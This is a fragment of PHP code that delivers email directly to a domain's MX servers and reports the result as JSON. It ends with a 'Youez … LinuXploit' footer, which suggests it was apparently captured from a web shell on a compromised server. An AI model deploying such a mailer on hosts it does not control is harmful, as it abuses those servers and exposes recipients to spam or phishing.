            $mxRecs = @dns_get_record($domain, DNS_MX);
            if ($mxRecs && count($mxRecs) > 0) {
                usort($mxRecs, function($a, $b) { return $a['pri'] - $b['pri']; });
                foreach ($mxRecs as $rec) $mxHosts[] = $rec['target'];
            }
        }
        if (empty($mxHosts)) $mxHosts[] = $domain;
        $directSent = false;
        foreach ($mxHosts as $mxHost) {
            $res = smtpSend($mxHost, 25, $hostname, $envelopeEmail, $to, $fullHdrs, $mimeBody, 25);
            if ($res['ok']) { $usedMode = 'direct'; $directSent = true; break; }
            $errors[] = "direct ($mxHost): " . $res['error'];
        }
        if ($directSent) break;
    }
}

header('Content-Type: application/json');
if ($usedMode) {
    echo json_encode(['ok' => true, 'mode' => $usedMode]);
} else {
    echo json_encode(['ok' => false, 'error' => 'All modes failed: ' . implode(' | ', $errors)]);
}

Youez - 2016 - github.com/yon3zu
LinuXploit